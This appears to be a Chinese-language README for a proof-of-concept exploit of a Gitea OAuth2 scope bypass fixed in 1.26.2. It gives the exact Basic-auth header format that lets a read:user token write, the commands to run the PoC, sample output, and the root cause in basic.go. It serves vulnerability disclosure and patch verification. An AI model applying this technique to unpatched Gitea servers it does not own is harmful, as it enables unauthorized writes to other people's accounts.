仅具有 read:user 作用域的 Gitea OAuth2 访问令牌,若以 Authorization: Basic base64(<token>:x-oauth-basic) 格式发送(而非 Bearer 令牌),则可执行完整的写操作。任何通过 Basic 认证提交的令牌都将跳过作用域检查。
受影响版本:<= 1.26.1。已在 1.26.2 中修复。
安全公告:GHSA-9r5x-wg6m-x2rc。CWE-863。严重性:高。
完整分析:WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py 会在系统临时目录中搭建一个一次性 Gitea(基于 SQLite),运行 OAuth2 授权码流程以生成一个仅含 read:user 的令牌,然后通过 Bearer 和 Basic 两种方式调用写端点并输出判断结果。设置 POC_DEBUG=1 可查看认证流程步骤。
存在漏洞的 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
已修复的 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
| 认证方式 | IsApiToken | ApiTokenScope | 是否强制执行作用域检查? |
|---|---|---|---|
| OAuth2 令牌(Bearer) | true | 已设置 | 是 |
| OAuth2 令牌(Basic) | true | 缺失 | 否(默认放行) |
| 个人访问令牌 | true | 已设置 | 是 |
services/auth/basic.go 为 OAuth2 令牌设置了 IsApiToken,但未设置 ApiTokenScope。当作用域缺失时,tokenRequiresScopes 中间件会提前返回,因此不会进行任何检查。1.26.2 的修复添加了缺失的 store.GetData()["ApiTokenScope"] = accessTokenScope。
| 文件 | 用途 |
|---|---|
WRITEUP.md | 根因分析、影响、修复方案、检测方法 |
fetch_binaries.py | 下载适用于您操作系统/架构的 1.26.1/1.26.2 二进制文件 |
poc.py | 部署 Gitea,生成 read:user 令牌,测试 Bearer 与 Basic 对比 |
requirements.txt | requests |
仅限教育及授权的安全测试用途:您自己的实验室、CTF 和 HTB 靶机、范围内的漏洞悬赏目标。该 PoC 会运行自己的临时 Gitea,因此不要将其指向任何非您拥有的资源。